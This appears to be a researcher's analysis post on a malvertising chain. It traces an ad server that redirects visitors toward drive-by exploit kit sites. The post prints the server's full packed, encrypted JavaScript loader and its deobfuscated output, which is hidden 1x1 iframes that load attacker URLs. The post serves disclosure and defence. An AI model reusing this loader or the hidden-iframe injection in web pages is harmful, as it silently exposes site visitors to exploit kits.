Found the advertising server that is redirecting to the intermediary and eventually the exploit sites:
adnet.media.roxantb.com
That domain was registered last month and serves up packed/obfuscated javascript:
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('5 3M={5f:q(m,e,n){m=12.3F(m);5 R=[],M=\'\';x(5 i=0;i<m.j;i+=3){5 11=\'1\';x(5 h=0;h<3;h++){v(i+h<m.j){N=8.o(m.f(i+h))-30;v(N.j<2)N=\'0\'+N}3K 5a;11+=N}R.2t(11+\'1\')}x(5 k=0;k<R.j;k++){5 P=8.13(R[k],e,n);5 L=P.X(16);V(L.j<7)L=\'0\'+L;M+=L}M=M.3R(3P 3O(\'^+|+$\',\'g\'),\'\');b 8.2r(M)},3N:q(c,d,n){c=8.2p(c);5 G=[],U=\'\',18=\'\';x(5 i=0;i<c.j;i+=7)G.2t(c.Y(i,7));x(5 u=0;u<G.j;u++)v(G[u]==\'\')G.5b(u,1);x(5 u=0;u<G.j;u++){5 P=8.13(Z(G[u],16),d,n)+\'\';U+=P.Y(1,P.j-2)}x(5 u=0;u<U.j;u+=2)18+=8.a(Z(U.Y(u,2),10)+30);b 12.3Q(18)},o:q(a){b t.o(a)},a:q(2u){b t.a(2u)},17:q(g,l){b g-(l*58.59(g/l))},13:q(2s,14,19){5 W=1,i=0,O=2s;V((14>>i)>0){v(((14>>i)&1)==1)W=8.17((W*O),19);O=8.17((O*O),19);i++}b W},2r:q(B){b B;5 J=\'\';x(5 i=0,Q=B.j;i<Q;i+=2){5 I=Z(\'\'+B.f(i)+B.f(i+1),16).X(10);J+=t.a(I)}b J},2p:q(B){b B;5 J=\'\';x(5 i=0,Q=B.j;i<Q;i++){5 I=t.o(B.f(i)).X(16);J+=I.j==2?I:\'0\'+I}b J}};5 t={F:{3J:{2v:2q,2B:2w,2z:2A,2y:2x,2n:2o,2e:2d,2b:2c,2a:29,2g:2f,2m:2l,2j:2k,2i:2h,2D:2C,2Y:2X,28:2W,2U:2T,31:2Z,35:36,32:34,2S:33,2I:2R,2H:2J,2E:2G,2K:2F,2Q:2L,2O:2P,2N:2M,1M:37,1r:1p,1t:1u,1q:1x,1w:1v,1C:1B,1z:1A,1y:1o,1m:1D,1f:1d,1a:1c,1e:1b,1l:1n,1k:1g,1h:1j,1s:1i,1Y:27,1X:1Z,1U:1W,20:1V,26:21,24:25,1E:22,1T:23,1J:1S,1I:1K,1F:1H,1L:1G,1Q:1R,1N:1P,2V:1O,4v:3c,38:4r,4u:4t,4p:4s,4w:4q,4A:4B,4y:4z,4n:4o,4e:4d,4b:4c,4a:49,4g:4f,4m:4l,4D:4k,4h:4j,4C:4i,4Y:4H,4X:4Z,4U:4W,51:4V,52:55,53:56,50:54,4I:4S,4T:4J,4E:4G,4K:4F,4Q:4L,4P:4R,4M:4O,4x:4N,3t:47,3s:3u,3p:3r,3v:3q,3B:3w,3z:3A,3y:3x,3n:3o,3e:3d,3b:48,3a:39,3g:3f,3m:3l,3j:3k,3i:3h,3D:3C,3Z:3Y,3W:3X,3V:3U,41:40,45:46,42:44,3T:43,3I:3S},3H:{2q:2v,2w:2B,2A:2z,2x:2y,2o:2n,2d:2e,2c:2b,29:2a,2f:2g,2l:2m,2k:2j,2h:2i,2C:2D,2X:2Y,2W:28,2T:2U,2Z:31,36:35,34:32,33:2S,2R:2I,2J:2H,2G:2E,2F:2K,2L:2Q,2P:2O,2M:2N,37:1M,1p:1r,1u:1t,1x:1q,1v:1w,1B:1C,1A:1z,1o:1y,1D:1m,1d:1f,1c:1a,1b:1e,1n:1l,1g:1k,1j:1h,1i:1s,27:1Y,1Z:1X,1W:1U,1V:20,21:26,25:24,22:1E,23:1T,1S:1J,1K:1I,1H:1F,1G:1L,1R:1Q,1P:1N,1O:2V,3c:4v,4r:38,4t:4u,4s:4p,4q:4w,4B:4A,4z:4y,4o:4n,4d:4e,4c:4b,49:4a,4f:4g,4l:4m,4k:4D,4j:4h,4i:4C,4H:4Y,4Z:4X,4W:4U,4V:51,55:52,56:53,54:50,4S:4I,4J:4T,4G:4E,4F:4K,4L:4Q,4R:4P,4O:4M,4N:4x,47:3t,3u:3s,3r:3p,3q:3v,3w:3B,3A:3z,3x:3y,3o:3n,3d:3e,48:3b,39:3a,3f:3g,3l:3m,3k:3j,3h:3i,3C:3D,3Y:3Z,3X:3W,3U:3V,40:41,46:45,44:42,43:3T,3S:3I}},o:q(a,r){r=r||\'3J\';v(!8.F[r])b 3G;a=a.5g(0);b(a 3E 8.F[r])?8.F[r][a]:a},a:q(o,r){r=r||\'3H\';v(!8.F[r])b 3G;o=(o 3E 8.F[r])?8.F[r][o]:o;b 5m.5h(o)}};5 12={w:"5l+/=",3F:q(p){5 s=\'\',H,C,D,K,E,z,y,i=0;V(i<p.j){H=t.o(p.f(i++));C=t.o(p.f(i++));D=t.o(p.f(i++));K=H>>2;E=((H&3)<<4)|(C>>4);z=((C&15)<<2)|(D>>6);y=D&5i;v(3L(C))z=y=S;3K v(3L(D))y=S;s=s+8.w.f(K)+8.w.f(E)+8.w.f(z)+8.w.f(y)}b s},3Q:q(p){5 s=\'\',H,C,D,K,E,z,y,i=0;p=p.3R(3P 3O(\'[^A-5j-5e-9+/=]\',\'g\'),\'\');V(i<p.j){K=8.w.T(p.f(i++));E=8.w.T(p.f(i++));z=8.w.T(p.f(i++));y=8.w.T(p.f(i++));H=(K<<2)|(E>>4);C=((E&15)<<4)|(z>>2);D=((z&3)<<6)|y;s=s+t.a(H);v(z!=S)s=s+t.a(C);v(y!=S)s=s+t.a(D)}b s}};5d(3M.3N(\'57\',\'5c\',\'5k\'));',62,333,'|||||var|||this||chr|return||||charAt||||length|||||ord|input|function|dir|output|ASCII||if|alphabet|for|enc4|enc3||str|chr2|chr3|enc2|translations|decryptarray|chr1|bte|result|enc1|chunk|coded|tmpstr|basepow2|resultmod|len|asci|64|indexOf|deencrypt|while|accum|toString|substr|parseInt||tmpasci|BASE64|powmod|exp|||mod|resultd|modulus|1028|175|170|168|1031|1025|179|1169|184|180|1110|1030|1168|178|163|156|1115|1114|1105|1116|157|159|1119|158|1032|1118|162|161|1038|165|1040|1044|197|196|1043|1042|195|1045|8250|1047|200|199|1046|198|194|1041|1112|189|188|1108|8470|186|1029|190|192|193|1111|191|1109|185|1035|135|8225|8224|134|133|8230|136|8364|139|8249|1033|138|137|8240|8222|132|strhex|128|hexstr|base|push|num|1026|129|131|1107|8218|130|1027|140|1034|8211|151|150|8226|8221|149|8212|152|154|1113|8482|153|65533|148|8220|143|1039|1048|142|141|1036|144||1106|8217|147|146|8216|145|155|1050|242|1090|1089|201|240|1088|243|1091|246|1094|1093|245|244|1092|1087|239|1082|235|234|1081|1080|233|1083|236|238|1086|1085|237|1084|247|1095|in|encode|null|php2js|1103|js2php|else|isNaN|RSA|decrypt|RegExp|new|decode|replace|255|1102|250|1098|1097|249|248|1096|251|1099|1101|254|253|1100|252|232|241|211|1059|1058|210|209|1057|212|1060|1063|216|215|214|213|1061|1056|208|1052|205|202|204|203|1051|1049|1053|1079|1055|207|1054|206|1064|1062|1074|227|226|217|1072|225|1075|228|1078|231|230|1077|1076|229|224|1073|1067|220|219|1066|1065|218|1071|1068|1069|1070|223|221|222|1e0207526271ff2eedf4423bec450e06a6f1f528ac28ea9c4050c2d003cbab303400fe28ea9c4050c2d003cbab303400fe2dae2430da709233f18d90dfbafc242d8ab1ce7d6e385b92c28d9dcc260d92b2f9c03c18bc4a128d9dcc260d92b0964bf818bc4a1167111c271c61c2dbd91d03809de2e0b7cd39764932dbd91d03809de2e0b7cd39764932dbd91d03809de2e0b7cd353c74638daa560bbc7450439e830637fdc07a4226081064f1a81a3a041041025346a428663c1125e31404104102b7f48428663c106d7b240d03df82daa6a33958fb72e063be15334d81a5f1ca38ad0051dc1d2515d364525644f5320b3f2125e31410161ec050c2d003cbab303400fe28ea9c4050c2d003cbab303400fe2dae2430da709233f18d90dfbafc242d8ab1ce7d6e385b92c28d9dcc260d92b2f9c03c18bc4a128d9dcc260d92b0964bf818bc4a1362a6bc19de87c1678dc41a844d71e9390b0cec8741fb659b08f567703cd1f415334d80c8047520b93d527e6ea61936fa60ae650f0730a9f167111c31fa20d0592c0220f6b3030dfff80edc77008c468b3208b7106d8142234f47406d6e04034948b2da7f6024f82a038588d62dc5030115424a0532e9d23bfc961757fb00b29df70a160b62ee078d247a6730b29df731d765039c4d912b4ec5b11b9dc623ef17438588d60297027241f38f10ab52527898691655b231eb65f715461bd29b668622be1d2074ae1011412280f73d7d2b49a3a11070d52dbe78c05a3ac43233df42f9a9ff07547a5148f29700897fa3032d8c274e65a3977c7304140921d15cde165a317285260f30eac2618af9ed2b5b76738db07f216ab7a13836572d9e39f00e4ce81ff08df043c95a2f1021805cb82e0dd8ba3381c41313c32cf1c1cbbe15ca10c0be411b0faec0009c222e08d6bf30c8d81a233f12724e8ae21128b9d14a49f815461bd30849002c04c3f036c44b193f8d01542b392c6bb5c021099f1c8a3fe0a480c70b2189106ff0b11c9ab7f173b8bb26700e401d1f9e171b134087cabc22a9b812854a9535c7dc72f9f68425e0d392e8f91b3836d0f21d915a067e04e1057eea073afcf10810671ca2ccd2dbe8560dcf5f617804470b679950fa04fa28d0bd3296c29930746f535a751111ce64728001ce1d7ac4a283623e0522faa39d77db058275b16aa6ed34e43590c1b15a2119788193c20a274e65a3977c7304140921d15cde165a317285260f30eac2618af9ed2b5b76738db07f216ab7a13836572d9e39f00e4ce81ff08df043c95a2f1021805cb82e0dd8ba3381c41313c32cf2dbf1501bb943b316f25238e312b0dd21811a037b5399384d3294b8a36da9b62cb6fc1392303d0cda4430a605f00e5e84322e4e23316b13012d4bfa0f22aac013e4d91a0efac25b58782c4047801d16b5121ce8a30660b71263fe915b9df1009dca82badb6924531452dcbe66145c41d07c1b28043431e382c01a2b416f42ff2347187b04a1d56b4333a22b53893393269aa271dd73b20d457861ebef29262c1330b80af7003f04d184586c0e4931d03400fe2e46aaf20aa7542a03011171ac1e35fd8b32ff23471b9dad832f6d501286e8e352dc9f0da8e94318d7b00cc6a6805a4a8918869d90c4c46c16bcaaf2f14b3e29d353420063ff1dddce30c50ff82654d24316da3000a3eac105373a208e740122df942e088031195c680175b9d27593bf2a67f1831ff59d26a48d107f41ac0b052c519f0aae1d81ab519085a705426ca1857780362f28322268012dc7c7919c0f7029460321cf70b71d5dbd7355d91929460322706ca73835f5618eb1962545dfe2fa283c372e3fb1610872174eef327148c315ad7120ce58701b9dad832f6d500995ef901f626d2939e0e082f1b1267704e15710252713bc524d2dd614593b414fbe990bb34a6015f07d0fffcec1b1a148215b373298545e0206bc820bf59c31ef6ca37b300814349323795d8c336fcd11f2dcd328d0bd314d2eb03813ce001e0cd01be68b90e3af110b2d8cd316da30021427b37bc5351d7ac4a0dde4c303e297435999cf34cfa0e0b10ba4346d54f0da70920ea16690ca99ae086c7401e2c8990abb2f10952f3f0006bb0160c00c1ac67b42010e990b0879726b75a6385db6921dc6122ae56512719841386ebf2109caaa2eedf4435d99f109440781fc1e7237a1ecc08176460661abe011bcc01d7561f1c27b2438971a338b9e162c37b1800df36c07260ed03c38dc25b15a41ff09700fbebfb2f952c31f92b83184062b084071f244f8a81ab739a26cc15c0342f2a111200009c9b5801f626d2939e0e082f1b1267704e18ca28f|Math|floor|break|splice|3451759|eval|z0|encrypt|charCodeAt|fromCharCode|63|Za|60670333|ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789|String'.split('|'),0,{}))
Deobfuscated:
<iframe src="http://aledat.com/cust.php?n=cust2" style="visibility: hidden;" height="1" width="1"></iframe>
<iframe class=" izvpldobgmpcxynswtnf" src="http://adnet.media.roxantb.com/stats_js_e.php?id=22214735" style="visibility: hidden;" height="1" width="1"></iframe>
<a href="http://curves.com/?=34547" target="_blank">
<img class=" izvpldobgmpcxynswtnf" src="http://adnet.media.roxantb.com/banners/load.php?id=22214735" border="0"></a>
In this instance, the aledat.com/cust.php?n=cust2 request redirects to another site that actually has the driveby kit on it.